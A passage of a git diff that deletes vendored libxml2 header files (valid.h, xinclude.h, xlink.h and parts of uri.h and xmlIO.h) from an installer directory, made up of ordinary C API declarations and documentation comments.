const xmlChar *list); -XMLPUBFUN char * XMLCALL - xmlURIUnescapeString (const char *str, - int len, - char *target); -XMLPUBFUN int XMLCALL - xmlNormalizeURIPath (char *path); -XMLPUBFUN xmlChar * XMLCALL - xmlURIEscape (const xmlChar *str); -XMLPUBFUN void XMLCALL - xmlFreeURI (xmlURIPtr uri); -XMLPUBFUN xmlChar* XMLCALL - xmlCanonicPath (const xmlChar *path); -XMLPUBFUN xmlChar* XMLCALL - xmlPathToURI (const xmlChar *path); - -#ifdef __cplusplus -} -#endif -#endif /* __XML_URI_H__ */ diff --git a/installer/libxml2/include/libxml/valid.h b/installer/libxml2/include/libxml/valid.h deleted file mode 100644 index 2bc7b38..0000000 --- a/installer/libxml2/include/libxml/valid.h +++ /dev/null @@ -1,458 +0,0 @@ -/* - * Summary: The DTD validation - * Description: API for the DTD handling and the validity checking - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - - -#ifndef __XML_VALID_H__ -#define __XML_VALID_H__ - -#include -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Validation state added for non-determinist content model. - */ -typedef struct _xmlValidState xmlValidState; -typedef xmlValidState *xmlValidStatePtr; - -/** - * xmlValidityErrorFunc: - * @ctx: usually an xmlValidCtxtPtr to a validity error context, - * but comes from ctxt->userData (which normally contains such - * a pointer); ctxt->userData can be changed by the user. - * @msg: the string to format *printf like vararg - * @...: remaining arguments to the format - * - * Callback called when a validity error is found. This is a message - * oriented function similar to an *printf function. - */ -typedef void (XMLCDECL *xmlValidityErrorFunc) (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); - -/** - * xmlValidityWarningFunc: - * @ctx: usually an xmlValidCtxtPtr to a validity error context, - * but comes from ctxt->userData (which normally contains such - * a pointer); ctxt->userData can be changed by the user. - * @msg: the string to format *printf like vararg - * @...: remaining arguments to the format - * - * Callback called when a validity warning is found. This is a message - * oriented function similar to an *printf function. - */ -typedef void (XMLCDECL *xmlValidityWarningFunc) (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); - -#ifdef IN_LIBXML -/** - * XML_CTXT_FINISH_DTD_0: - * - * Special value for finishDtd field when embedded in an xmlParserCtxt - */ -#define XML_CTXT_FINISH_DTD_0 0xabcd1234 -/** - * XML_CTXT_FINISH_DTD_1: - * - * Special value for finishDtd field when embedded in an xmlParserCtxt - */ -#define XML_CTXT_FINISH_DTD_1 0xabcd1235 -#endif - -/* - * xmlValidCtxt: - * An xmlValidCtxt is used for error reporting when validating. - */ -typedef struct _xmlValidCtxt xmlValidCtxt; -typedef xmlValidCtxt *xmlValidCtxtPtr; -struct _xmlValidCtxt { - void *userData; /* user specific data block */ - xmlValidityErrorFunc error; /* the callback in case of errors */ - xmlValidityWarningFunc warning; /* the callback in case of warning */ - - /* Node analysis stack used when validating within entities */ - xmlNodePtr node; /* Current parsed Node */ - int nodeNr; /* Depth of the parsing stack */ - int nodeMax; /* Max depth of the parsing stack */ - xmlNodePtr *nodeTab; /* array of nodes */ - - unsigned int finishDtd; /* finished validating the Dtd ? */ - xmlDocPtr doc; /* the document */ - int valid; /* temporary validity check result */ - - /* state state used for non-determinist content validation */ - xmlValidState *vstate; /* current state */ - int vstateNr; /* Depth of the validation stack */ - int vstateMax; /* Max depth of the validation stack */ - xmlValidState *vstateTab; /* array of validation states */ - -#ifdef LIBXML_REGEXP_ENABLED - xmlAutomataPtr am; /* the automata */ - xmlAutomataStatePtr state; /* used to build the automata */ -#else - void *am; - void *state; -#endif -}; - -/* - * ALL notation declarations are stored in a table. - * There is one table per DTD. - */ - -typedef struct _xmlHashTable xmlNotationTable; -typedef xmlNotationTable *xmlNotationTablePtr; - -/* - * ALL element declarations are stored in a table. - * There is one table per DTD. - */ - -typedef struct _xmlHashTable xmlElementTable; -typedef xmlElementTable *xmlElementTablePtr; - -/* - * ALL attribute declarations are stored in a table. - * There is one table per DTD. - */ - -typedef struct _xmlHashTable xmlAttributeTable; -typedef xmlAttributeTable *xmlAttributeTablePtr; - -/* - * ALL IDs attributes are stored in a table. - * There is one table per document. - */ - -typedef struct _xmlHashTable xmlIDTable; -typedef xmlIDTable *xmlIDTablePtr; - -/* - * ALL Refs attributes are stored in a table. - * There is one table per document. - */ - -typedef struct _xmlHashTable xmlRefTable; -typedef xmlRefTable *xmlRefTablePtr; - -/* Notation */ -XMLPUBFUN xmlNotationPtr XMLCALL - xmlAddNotationDecl (xmlValidCtxtPtr ctxt, - xmlDtdPtr dtd, - const xmlChar *name, - const xmlChar *PublicID, - const xmlChar *SystemID); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN xmlNotationTablePtr XMLCALL - xmlCopyNotationTable (xmlNotationTablePtr table); -#endif /* LIBXML_TREE_ENABLED */ -XMLPUBFUN void XMLCALL - xmlFreeNotationTable (xmlNotationTablePtr table); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlDumpNotationDecl (xmlBufferPtr buf, - xmlNotationPtr nota); -XMLPUBFUN void XMLCALL - xmlDumpNotationTable (xmlBufferPtr buf, - xmlNotationTablePtr table); -#endif /* LIBXML_OUTPUT_ENABLED */ - -/* Element Content */ -/* the non Doc version are being deprecated */ -XMLPUBFUN xmlElementContentPtr XMLCALL - xmlNewElementContent (const xmlChar *name, - xmlElementContentType type); -XMLPUBFUN xmlElementContentPtr XMLCALL - xmlCopyElementContent (xmlElementContentPtr content); -XMLPUBFUN void XMLCALL - xmlFreeElementContent (xmlElementContentPtr cur); -/* the new versions with doc argument */ -XMLPUBFUN xmlElementContentPtr XMLCALL - xmlNewDocElementContent (xmlDocPtr doc, - const xmlChar *name, - xmlElementContentType type); -XMLPUBFUN xmlElementContentPtr XMLCALL - xmlCopyDocElementContent(xmlDocPtr doc, - xmlElementContentPtr content); -XMLPUBFUN void XMLCALL - xmlFreeDocElementContent(xmlDocPtr doc, - xmlElementContentPtr cur); -XMLPUBFUN void XMLCALL - xmlSnprintfElementContent(char *buf, - int size, - xmlElementContentPtr content, - int englob); -#ifdef LIBXML_OUTPUT_ENABLED -/* DEPRECATED */ -XMLPUBFUN void XMLCALL - xmlSprintfElementContent(char *buf, - xmlElementContentPtr content, - int englob); -#endif /* LIBXML_OUTPUT_ENABLED */ -/* DEPRECATED */ - -/* Element */ -XMLPUBFUN xmlElementPtr XMLCALL - xmlAddElementDecl (xmlValidCtxtPtr ctxt, - xmlDtdPtr dtd, - const xmlChar *name, - xmlElementTypeVal type, - xmlElementContentPtr content); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN xmlElementTablePtr XMLCALL - xmlCopyElementTable (xmlElementTablePtr table); -#endif /* LIBXML_TREE_ENABLED */ -XMLPUBFUN void XMLCALL - xmlFreeElementTable (xmlElementTablePtr table); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlDumpElementTable (xmlBufferPtr buf, - xmlElementTablePtr table); -XMLPUBFUN void XMLCALL - xmlDumpElementDecl (xmlBufferPtr buf, - xmlElementPtr elem); -#endif /* LIBXML_OUTPUT_ENABLED */ - -/* Enumeration */ -XMLPUBFUN xmlEnumerationPtr XMLCALL - xmlCreateEnumeration (const xmlChar *name); -XMLPUBFUN void XMLCALL - xmlFreeEnumeration (xmlEnumerationPtr cur); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN xmlEnumerationPtr XMLCALL - xmlCopyEnumeration (xmlEnumerationPtr cur); -#endif /* LIBXML_TREE_ENABLED */ - -/* Attribute */ -XMLPUBFUN xmlAttributePtr XMLCALL - xmlAddAttributeDecl (xmlValidCtxtPtr ctxt, - xmlDtdPtr dtd, - const xmlChar *elem, - const xmlChar *name, - const xmlChar *ns, - xmlAttributeType type, - xmlAttributeDefault def, - const xmlChar *defaultValue, - xmlEnumerationPtr tree); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN xmlAttributeTablePtr XMLCALL - xmlCopyAttributeTable (xmlAttributeTablePtr table); -#endif /* LIBXML_TREE_ENABLED */ -XMLPUBFUN void XMLCALL - xmlFreeAttributeTable (xmlAttributeTablePtr table); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlDumpAttributeTable (xmlBufferPtr buf, - xmlAttributeTablePtr table); -XMLPUBFUN void XMLCALL - xmlDumpAttributeDecl (xmlBufferPtr buf, - xmlAttributePtr attr); -#endif /* LIBXML_OUTPUT_ENABLED */ - -/* IDs */ -XMLPUBFUN xmlIDPtr XMLCALL - xmlAddID (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - const xmlChar *value, - xmlAttrPtr attr); -XMLPUBFUN void XMLCALL - xmlFreeIDTable (xmlIDTablePtr table); -XMLPUBFUN xmlAttrPtr XMLCALL - xmlGetID (xmlDocPtr doc, - const xmlChar *ID); -XMLPUBFUN int XMLCALL - xmlIsID (xmlDocPtr doc, - xmlNodePtr elem, - xmlAttrPtr attr); -XMLPUBFUN int XMLCALL - xmlRemoveID (xmlDocPtr doc, - xmlAttrPtr attr); - -/* IDREFs */ -XMLPUBFUN xmlRefPtr XMLCALL - xmlAddRef (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - const xmlChar *value, - xmlAttrPtr attr); -XMLPUBFUN void XMLCALL - xmlFreeRefTable (xmlRefTablePtr table); -XMLPUBFUN int XMLCALL - xmlIsRef (xmlDocPtr doc, - xmlNodePtr elem, - xmlAttrPtr attr); -XMLPUBFUN int XMLCALL - xmlRemoveRef (xmlDocPtr doc, - xmlAttrPtr attr); -XMLPUBFUN xmlListPtr XMLCALL - xmlGetRefs (xmlDocPtr doc, - const xmlChar *ID); - -/** - * The public function calls related to validity checking. - */ -#ifdef LIBXML_VALID_ENABLED -/* Allocate/Release Validation Contexts */ -XMLPUBFUN xmlValidCtxtPtr XMLCALL - xmlNewValidCtxt(void); -XMLPUBFUN void XMLCALL - xmlFreeValidCtxt(xmlValidCtxtPtr); - -XMLPUBFUN int XMLCALL - xmlValidateRoot (xmlValidCtxtPtr ctxt, - xmlDocPtr doc); -XMLPUBFUN int XMLCALL - xmlValidateElementDecl (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlElementPtr elem); -XMLPUBFUN xmlChar * XMLCALL - xmlValidNormalizeAttributeValue(xmlDocPtr doc, - xmlNodePtr elem, - const xmlChar *name, - const xmlChar *value); -XMLPUBFUN xmlChar * XMLCALL - xmlValidCtxtNormalizeAttributeValue(xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem, - const xmlChar *name, - const xmlChar *value); -XMLPUBFUN int XMLCALL - xmlValidateAttributeDecl(xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlAttributePtr attr); -XMLPUBFUN int XMLCALL - xmlValidateAttributeValue(xmlAttributeType type, - const xmlChar *value); -XMLPUBFUN int XMLCALL - xmlValidateNotationDecl (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNotationPtr nota); -XMLPUBFUN int XMLCALL - xmlValidateDtd (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlDtdPtr dtd); -XMLPUBFUN int XMLCALL - xmlValidateDtdFinal (xmlValidCtxtPtr ctxt, - xmlDocPtr doc); -XMLPUBFUN int XMLCALL - xmlValidateDocument (xmlValidCtxtPtr ctxt, - xmlDocPtr doc); -XMLPUBFUN int XMLCALL - xmlValidateElement (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem); -XMLPUBFUN int XMLCALL - xmlValidateOneElement (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem); -XMLPUBFUN int XMLCALL - xmlValidateOneAttribute (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem, - xmlAttrPtr attr, - const xmlChar *value); -XMLPUBFUN int XMLCALL - xmlValidateOneNamespace (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem, - const xmlChar *prefix, - xmlNsPtr ns, - const xmlChar *value); -XMLPUBFUN int XMLCALL - xmlValidateDocumentFinal(xmlValidCtxtPtr ctxt, - xmlDocPtr doc); -#endif /* LIBXML_VALID_ENABLED */ - -#if defined(LIBXML_VALID_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) -XMLPUBFUN int XMLCALL - xmlValidateNotationUse (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - const xmlChar *notationName); -#endif /* LIBXML_VALID_ENABLED or LIBXML_SCHEMAS_ENABLED */ - -XMLPUBFUN int XMLCALL - xmlIsMixedElement (xmlDocPtr doc, - const xmlChar *name); -XMLPUBFUN xmlAttributePtr XMLCALL - xmlGetDtdAttrDesc (xmlDtdPtr dtd, - const xmlChar *elem, - const xmlChar *name); -XMLPUBFUN xmlAttributePtr XMLCALL - xmlGetDtdQAttrDesc (xmlDtdPtr dtd, - const xmlChar *elem, - const xmlChar *name, - const xmlChar *prefix); -XMLPUBFUN xmlNotationPtr XMLCALL - xmlGetDtdNotationDesc (xmlDtdPtr dtd, - const xmlChar *name); -XMLPUBFUN xmlElementPtr XMLCALL - xmlGetDtdQElementDesc (xmlDtdPtr dtd, - const xmlChar *name, - const xmlChar *prefix); -XMLPUBFUN xmlElementPtr XMLCALL - xmlGetDtdElementDesc (xmlDtdPtr dtd, - const xmlChar *name); - -#ifdef LIBXML_VALID_ENABLED - -XMLPUBFUN int XMLCALL - xmlValidGetPotentialChildren(xmlElementContent *ctree, - const xmlChar **names, - int *len, - int max); - -XMLPUBFUN int XMLCALL - xmlValidGetValidElements(xmlNode *prev, - xmlNode *next, - const xmlChar **names, - int max); -XMLPUBFUN int XMLCALL - xmlValidateNameValue (const xmlChar *value); -XMLPUBFUN int XMLCALL - xmlValidateNamesValue (const xmlChar *value); -XMLPUBFUN int XMLCALL - xmlValidateNmtokenValue (const xmlChar *value); -XMLPUBFUN int XMLCALL - xmlValidateNmtokensValue(const xmlChar *value); - -#ifdef LIBXML_REGEXP_ENABLED -/* - * Validation based on the regexp support - */ -XMLPUBFUN int XMLCALL - xmlValidBuildContentModel(xmlValidCtxtPtr ctxt, - xmlElementPtr elem); - -XMLPUBFUN int XMLCALL - xmlValidatePushElement (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem, - const xmlChar *qname); -XMLPUBFUN int XMLCALL - xmlValidatePushCData (xmlValidCtxtPtr ctxt, - const xmlChar *data, - int len); -XMLPUBFUN int XMLCALL - xmlValidatePopElement (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem, - const xmlChar *qname); -#endif /* LIBXML_REGEXP_ENABLED */ -#endif /* LIBXML_VALID_ENABLED */ -#ifdef __cplusplus -} -#endif -#endif /* __XML_VALID_H__ */ diff --git a/installer/libxml2/include/libxml/xinclude.h b/installer/libxml2/include/libxml/xinclude.h deleted file mode 100644 index 863ab25..0000000 --- a/installer/libxml2/include/libxml/xinclude.h +++ /dev/null @@ -1,129 +0,0 @@ -/* - * Summary: implementation of XInclude - * Description: API to handle XInclude processing, - * implements the - * World Wide Web Consortium Last Call Working Draft 10 November 2003 - * http://www.w3.org/TR/2003/WD-xinclude-20031110 - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_XINCLUDE_H__ -#define __XML_XINCLUDE_H__ - -#include -#include - -#ifdef LIBXML_XINCLUDE_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * XINCLUDE_NS: - * - * Macro defining the Xinclude namespace: http://www.w3.org/2003/XInclude - */ -#define XINCLUDE_NS (const xmlChar *) "http://www.w3.org/2003/XInclude" -/** - * XINCLUDE_OLD_NS: - * - * Macro defining the draft Xinclude namespace: http://www.w3.org/2001/XInclude - */ -#define XINCLUDE_OLD_NS (const xmlChar *) "http://www.w3.org/2001/XInclude" -/** - * XINCLUDE_NODE: - * - * Macro defining "include" - */ -#define XINCLUDE_NODE (const xmlChar *) "include" -/** - * XINCLUDE_FALLBACK: - * - * Macro defining "fallback" - */ -#define XINCLUDE_FALLBACK (const xmlChar *) "fallback" -/** - * XINCLUDE_HREF: - * - * Macro defining "href" - */ -#define XINCLUDE_HREF (const xmlChar *) "href" -/** - * XINCLUDE_PARSE: - * - * Macro defining "parse" - */ -#define XINCLUDE_PARSE (const xmlChar *) "parse" -/** - * XINCLUDE_PARSE_XML: - * - * Macro defining "xml" - */ -#define XINCLUDE_PARSE_XML (const xmlChar *) "xml" -/** - * XINCLUDE_PARSE_TEXT: - * - * Macro defining "text" - */ -#define XINCLUDE_PARSE_TEXT (const xmlChar *) "text" -/** - * XINCLUDE_PARSE_ENCODING: - * - * Macro defining "encoding" - */ -#define XINCLUDE_PARSE_ENCODING (const xmlChar *) "encoding" -/** - * XINCLUDE_PARSE_XPOINTER: - * - * Macro defining "xpointer" - */ -#define XINCLUDE_PARSE_XPOINTER (const xmlChar *) "xpointer" - -typedef struct _xmlXIncludeCtxt xmlXIncludeCtxt; -typedef xmlXIncludeCtxt *xmlXIncludeCtxtPtr; - -/* - * standalone processing - */ -XMLPUBFUN int XMLCALL - xmlXIncludeProcess (xmlDocPtr doc); -XMLPUBFUN int XMLCALL - xmlXIncludeProcessFlags (xmlDocPtr doc, - int flags); -XMLPUBFUN int XMLCALL - xmlXIncludeProcessFlagsData(xmlDocPtr doc, - int flags, - void *data); -XMLPUBFUN int XMLCALL - xmlXIncludeProcessTreeFlagsData(xmlNodePtr tree, - int flags, - void *data); -XMLPUBFUN int XMLCALL - xmlXIncludeProcessTree (xmlNodePtr tree); -XMLPUBFUN int XMLCALL - xmlXIncludeProcessTreeFlags(xmlNodePtr tree, - int flags); -/* - * contextual processing - */ -XMLPUBFUN xmlXIncludeCtxtPtr XMLCALL - xmlXIncludeNewContext (xmlDocPtr doc); -XMLPUBFUN int XMLCALL - xmlXIncludeSetFlags (xmlXIncludeCtxtPtr ctxt, - int flags); -XMLPUBFUN void XMLCALL - xmlXIncludeFreeContext (xmlXIncludeCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlXIncludeProcessNode (xmlXIncludeCtxtPtr ctxt, - xmlNodePtr tree); -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_XINCLUDE_ENABLED */ - -#endif /* __XML_XINCLUDE_H__ */ diff --git a/installer/libxml2/include/libxml/xlink.h b/installer/libxml2/include/libxml/xlink.h deleted file mode 100644 index a209a99..0000000 --- a/installer/libxml2/include/libxml/xlink.h +++ /dev/null @@ -1,189 +0,0 @@ -/* - * Summary: unfinished XLink detection module - * Description: unfinished XLink detection module - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_XLINK_H__ -#define __XML_XLINK_H__ - -#include -#include - -#ifdef LIBXML_XPTR_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * Various defines for the various Link properties. - * - * NOTE: the link detection layer will try to resolve QName expansion - * of namespaces. If "foo" is the prefix for "http://foo.com/" - * then the link detection layer will expand role="foo:myrole" - * to "http://foo.com/:myrole". - * NOTE: the link detection layer will expand URI-Refences found on - * href attributes by using the base mechanism if found. - */ -typedef xmlChar *xlinkHRef; -typedef xmlChar *xlinkRole; -typedef xmlChar *xlinkTitle; - -typedef enum { - XLINK_TYPE_NONE = 0, - XLINK_TYPE_SIMPLE, - XLINK_TYPE_EXTENDED, - XLINK_TYPE_EXTENDED_SET -} xlinkType; - -typedef enum { - XLINK_SHOW_NONE = 0, - XLINK_SHOW_NEW, - XLINK_SHOW_EMBED, - XLINK_SHOW_REPLACE -} xlinkShow; - -typedef enum { - XLINK_ACTUATE_NONE = 0, - XLINK_ACTUATE_AUTO, - XLINK_ACTUATE_ONREQUEST -} xlinkActuate; - -/** - * xlinkNodeDetectFunc: - * @ctx: user data pointer - * @node: the node to check - * - * This is the prototype for the link detection routine. - * It calls the default link detection callbacks upon link detection. - */ -typedef void (*xlinkNodeDetectFunc) (void *ctx, xmlNodePtr node); - -/* - * The link detection module interact with the upper layers using - * a set of callback registered at parsing time. - */ - -/** - * xlinkSimpleLinkFunk: - * @ctx: user data pointer - * @node: the node carrying the link - * @href: the target of the link - * @role: the role string - * @title: the link title - * - * This is the prototype for a simple link detection callback. - */ -typedef void -(*xlinkSimpleLinkFunk) (void *ctx, - xmlNodePtr node, - const xlinkHRef href, - const xlinkRole role, - const xlinkTitle title); - -/** - * xlinkExtendedLinkFunk: - * @ctx: user data pointer - * @node: the node carrying the link - * @nbLocators: the number of locators detected on the link - * @hrefs: pointer to the array of locator hrefs - * @roles: pointer to the array of locator roles - * @nbArcs: the number of arcs detected on the link - * @from: pointer to the array of source roles found on the arcs - * @to: pointer to the array of target roles found on the arcs - * @show: array of values for the show attributes found on the arcs - * @actuate: array of values for the actuate attributes found on the arcs - * @nbTitles: the number of titles detected on the link - * @title: array of titles detected on the link - * @langs: array of xml:lang values for the titles - * - * This is the prototype for a extended link detection callback. - */ -typedef void -(*xlinkExtendedLinkFunk)(void *ctx, - xmlNodePtr node, - int nbLocators, - const xlinkHRef *hrefs, - const xlinkRole *roles, - int nbArcs, - const xlinkRole *from, - const xlinkRole *to, - xlinkShow *show, - xlinkActuate *actuate, - int nbTitles, - const xlinkTitle *titles, - const xmlChar **langs); - -/** - * xlinkExtendedLinkSetFunk: - * @ctx: user data pointer - * @node: the node carrying the link - * @nbLocators: the number of locators detected on the link - * @hrefs: pointer to the array of locator hrefs - * @roles: pointer to the array of locator roles - * @nbTitles: the number of titles detected on the link - * @title: array of titles detected on the link - * @langs: array of xml:lang values for the titles - * - * This is the prototype for a extended link set detection callback. - */ -typedef void -(*xlinkExtendedLinkSetFunk) (void *ctx, - xmlNodePtr node, - int nbLocators, - const xlinkHRef *hrefs, - const xlinkRole *roles, - int nbTitles, - const xlinkTitle *titles, - const xmlChar **langs); - -/** - * This is the structure containing a set of Links detection callbacks. - * - * There is no default xlink callbacks, if one want to get link - * recognition activated, those call backs must be provided before parsing. - */ -typedef struct _xlinkHandler xlinkHandler; -typedef xlinkHandler *xlinkHandlerPtr; -struct _xlinkHandler { - xlinkSimpleLinkFunk simple; - xlinkExtendedLinkFunk extended; - xlinkExtendedLinkSetFunk set; -}; - -/* - * The default detection routine, can be overridden, they call the default - * detection callbacks. - */ - -XMLPUBFUN xlinkNodeDetectFunc XMLCALL - xlinkGetDefaultDetect (void); -XMLPUBFUN void XMLCALL - xlinkSetDefaultDetect (xlinkNodeDetectFunc func); - -/* - * Routines to set/get the default handlers. - */ -XMLPUBFUN xlinkHandlerPtr XMLCALL - xlinkGetDefaultHandler (void); -XMLPUBFUN void XMLCALL - xlinkSetDefaultHandler (xlinkHandlerPtr handler); - -/* - * Link detection module itself. - */ -XMLPUBFUN xlinkType XMLCALL - xlinkIsLink (xmlDocPtr doc, - xmlNodePtr node); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_XPTR_ENABLED */ - -#endif /* __XML_XLINK_H__ */ diff --git a/installer/libxml2/include/libxml/xmlIO.h b/installer/libxml2/include/libxml/xmlIO.h deleted file mode 100644 index 3e41744..0000000 --- a/installer/libxml2/include/libxml/xmlIO.h +++ /dev/null @@ -1,366 +0,0 @@ -/* - * Summary: interface for the I/O interfaces used by the parser - * Description: interface for the I/O interfaces used by the parser - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_IO_H__ -#define __XML_IO_H__ - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Those are the functions and datatypes for the parser input - * I/O structures. - */ - -/** - * xmlInputMatchCallback: - * @filename: the filename or URI - * - * Callback used in the I/O Input API to detect if the current handler - * can provide input fonctionnalities for this resource. - * - * Returns 1 if yes and 0 if another Input module should be used - */ -typedef int (XMLCALL *xmlInputMatchCallback) (char const *filename); -/** - * xmlInputOpenCallback: - * @filename: the filename or URI - * - * Callback used in the I/O Input API to open the resource - * - * Returns an Input context or NULL in case or error - */ -typedef void * (XMLCALL *xmlInputOpenCallback) (char const *filename); -/** - * xmlInputReadCallback: - * @context: an Input context - * @buffer: the buffer to store data read - * @len: the length of the buffer in bytes - * - * Callback used in the I/O Input API to read the resource - * - * Returns the number of bytes read or -1 in case of error - */ -typedef int (XMLCALL *xmlInputReadCallback) (void * context, char * buffer, int len); -/** - * xmlInputCloseCallback: - * @context: an Input context - * - * Callback used in the I/O Input API to close the resource - * - * Returns 0 or -1 in case of error - */ -typedef int (XMLCALL *xmlInputCloseCallback) (void * context); - -#ifdef LIBXML_OUTPUT_ENABLED -/* - * Those are the functions and datatypes for the library output - * I/O structures. - */ - -/** - * xmlOutputMatchCallback: - * @filename: the filename or URI - * - * Callback used in the I/O Output API to detect if the current handler - * can provide output fonctionnalities for this resource. - * - * Returns 1 if yes and 0 if another Output module should be used - */ -typedef int (XMLCALL *xmlOutputMatchCallback) (char const *filename); -/** - * xmlOutputOpenCallback: - * @filename: the filename or URI - * - * Callback used in the I/O Output API to open the resource - * - * Returns an Output context or NULL in case or error - */ -typedef void * (XMLCALL *xmlOutputOpenCallback) (char const *filename); -/** - * xmlOutputWriteCallback: - * @context: an Output context - * @buffer: the buffer of data to write - * @len: the length of the buffer in bytes - * - * Callback used in the I/O Output API to write to the resource - * - * Returns the number of bytes written or -1 in case of error - */ -typedef int (XMLCALL *xmlOutputWriteCallback) (void * context, const char * buffer, - int len); -/** - * xmlOutputCloseCallback: - * @context: an Output context - * - * Callback used in the I/O Output API to close the resource - * - * Returns 0 or -1 in case of error - */ -typedef int (XMLCALL *xmlOutputCloseCallback) (void * context); -#endif /* LIBXML_OUTPUT_ENABLED */ - -#ifdef __cplusplus -} -#endif - -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif -struct _xmlParserInputBuffer { - void* context; - xmlInputReadCallback readcallback; - xmlInputCloseCallback closecallback; - - xmlCharEncodingHandlerPtr encoder; /* I18N conversions to UTF-8 */ - - xmlBufPtr buffer; /* Local buffer encoded in UTF-8 */ - xmlBufPtr raw; /* if encoder != NULL buffer for raw input */ - int compressed; /* -1=unknown, 0=not compressed, 1=compressed */ - int error; - unsigned long rawconsumed;/* amount consumed from raw */ -}; - - -#ifdef LIBXML_OUTPUT_ENABLED -struct _xmlOutputBuffer { - void* context; - xmlOutputWriteCallback writecallback; - xmlOutputCloseCallback closecallback; - - xmlCharEncodingHandlerPtr encoder; /* I18N conversions to UTF-8 */ - - xmlBufPtr buffer; /* Local buffer encoded in UTF-8 or ISOLatin */ - xmlBufPtr conv; /* if encoder != NULL buffer for output */ - int written; /* total number of byte written */ - int error; -}; -#endif /* LIBXML_OUTPUT_ENABLED */ - -/* - * Interfaces for input - */ -XMLPUBFUN void XMLCALL - xmlCleanupInputCallbacks (void); - -XMLPUBFUN int XMLCALL - xmlPopInputCallbacks (void); - -XMLPUBFUN void XMLCALL - xmlRegisterDefaultInputCallbacks (void); -XMLPUBFUN xmlParserInputBufferPtr XMLCALL - xmlAllocParserInputBuffer (xmlCharEncoding enc); - -XMLPUBFUN xmlParserInputBufferPtr XMLCALL - xmlParserInputBufferCreateFilename (const char *URI, - xmlCharEncoding enc); -XMLPUBFUN xmlParserInputBufferPtr XMLCALL - xmlParserInputBufferCreateFile (FILE *file, - xmlCharEncoding enc); -XMLPUBFUN xmlParserInputBufferPtr XMLCALL - xmlParserInputBufferCreateFd (int fd, - xmlCharEncoding enc); -XMLPUBFUN xmlParserInputBufferPtr XMLCALL - xmlParserInputBufferCreateMem (const char *mem, int size, - xmlCharEncoding enc); -XMLPUBFUN xmlParserInputBufferPtr XMLCALL - xmlParserInputBufferCreateStatic (const char *mem, int size, - xmlCharEncoding enc); -XMLPUBFUN xmlParserInputBufferPtr XMLCALL - xmlParserInputBufferCreateIO (xmlInputReadCallback ioread, - xmlInputCloseCallback ioclose, - void *ioctx, - xmlCharEncoding enc); -XMLPUBFUN int XMLCALL - xmlParserInputBufferRead (xmlParserInputBufferPtr in, - int len); -XMLPUBFUN int XMLCALL - xmlParserInputBufferGrow (xmlParserInputBufferPtr in, - int len); -XMLPUBFUN int XMLCALL - xmlParserInputBufferPush (xmlParserInputBufferPtr in, - int len, - const char *buf); -XMLPUBFUN void XMLCALL - xmlFreeParserInputBuffer (xmlParserInputBufferPtr in); -XMLPUBFUN char * XMLCALL - xmlParserGetDirectory (const char *filename); - -XMLPUBFUN int XMLCALL - xmlRegisterInputCallbacks (xmlInputMatchCallback matchFunc, - xmlInputOpenCallback openFunc, - xmlInputReadCallback readFunc, - xmlInputCloseCallback closeFunc); - -xmlParserInputBufferPtr - __xmlParserInputBufferCreateFilename(const char *URI, - xmlCharEncoding enc); - -#ifdef LIBXML_OUTPUT_ENABLED -/* - * Interfaces for output - */ -XMLPUBFUN void XMLCALL - xmlCleanupOutputCallbacks (void); -XMLPUBFUN void XMLCALL - xmlRegisterDefaultOutputCallbacks(void); -XMLPUBFUN xmlOutputBufferPtr XMLCALL - xmlAllocOutputBuffer (xmlCharEncodingHandlerPtr encoder); - -XMLPUBFUN xmlOutputBufferPtr XMLCALL - xmlOutputBufferCreateFilename (const char *URI, - xmlCharEncodingHandlerPtr encoder, - int compression); - -XMLPUBFUN xmlOutputBufferPtr XMLCALL - xmlOutputBufferCreateFile (FILE *file, - xmlCharEncodingHandlerPtr encoder); - -XMLPUBFUN xmlOutputBufferPtr XMLCALL - xmlOutputBufferCreateBuffer (xmlBufferPtr buffer, - xmlCharEncodingHandlerPtr encoder); - -XMLPUBFUN xmlOutputBufferPtr XMLCALL - xmlOutputBufferCreateFd (int fd, - xmlCharEncodingHandlerPtr encoder); - -XMLPUBFUN xmlOutputBufferPtr XMLCALL - xmlOutputBufferCreateIO (xmlOutputWriteCallback iowrite, - xmlOutputCloseCallback 